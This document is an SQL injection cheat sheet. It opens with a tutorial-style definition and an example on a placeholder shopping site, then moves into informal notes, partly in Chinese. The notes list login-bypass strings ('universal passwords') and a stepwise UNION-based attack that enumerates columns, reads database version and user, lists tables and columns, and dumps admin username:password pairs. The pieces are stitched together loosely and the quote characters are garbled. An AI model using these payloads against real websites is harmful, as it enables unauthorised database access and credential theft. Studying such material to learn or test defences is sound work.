What is SQL injection (SQLi)?
SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application’s content or behavior. In some situations, an attacker can escalate a SQL injection attack to compromise the underlying server or other back-end infrastructure, or perform a denial-of-service attack.
Retrieving hidden data
Consider a shopping application that displays products in different categories. When the user clicks on the Gifts category, their browser requests the URL:
https://insecure-website.com/products?category=Gifts
This causes the application to make a SQL query to retrieve details of the relevant products from the database:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
attacker can cause the application to display all the products in any category, including categories that they don’t know about:
https://insecure-website.com/products?category=Gifts'+OR+1=1--
This results in the SQL query:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
sql 注入
SELECT username,password FROM user WHERE username=“admin” and password = ‘’ SELECT username,password FROM user WHERE username=‘admin’#’ and password = ‘’ SELECT username,password FROM user WHERE username=‘admin’– ’ and password = ‘’
万能密码
‘or’1’=’1 ’or’1 ’||’1
login admin
‘admin’#’ ‘admin’– ’
steps
www.site.com/page=1′
http://www.site.com/page=1 order by 1–
http://www.site.com/page=1 order by 2–
http://www.site.com/page=1 order by 3–
http://www.site.com/page=1 order by 4–
http://www.site.com/page=1 order by 5–
www.site.com/page=1 union all select 1,2,3,4–
user()
database()
version()
or if these dont work try…
@@user
@@version
@@database
www.site.com/page=1 union all select 1,user(),version(),4–
www.site.com/page=1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables–
www.site.com/page=1 union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()–
www.site.com/page=1 union all select 1,2,group_concat(username,0x3a,password),4 from admin–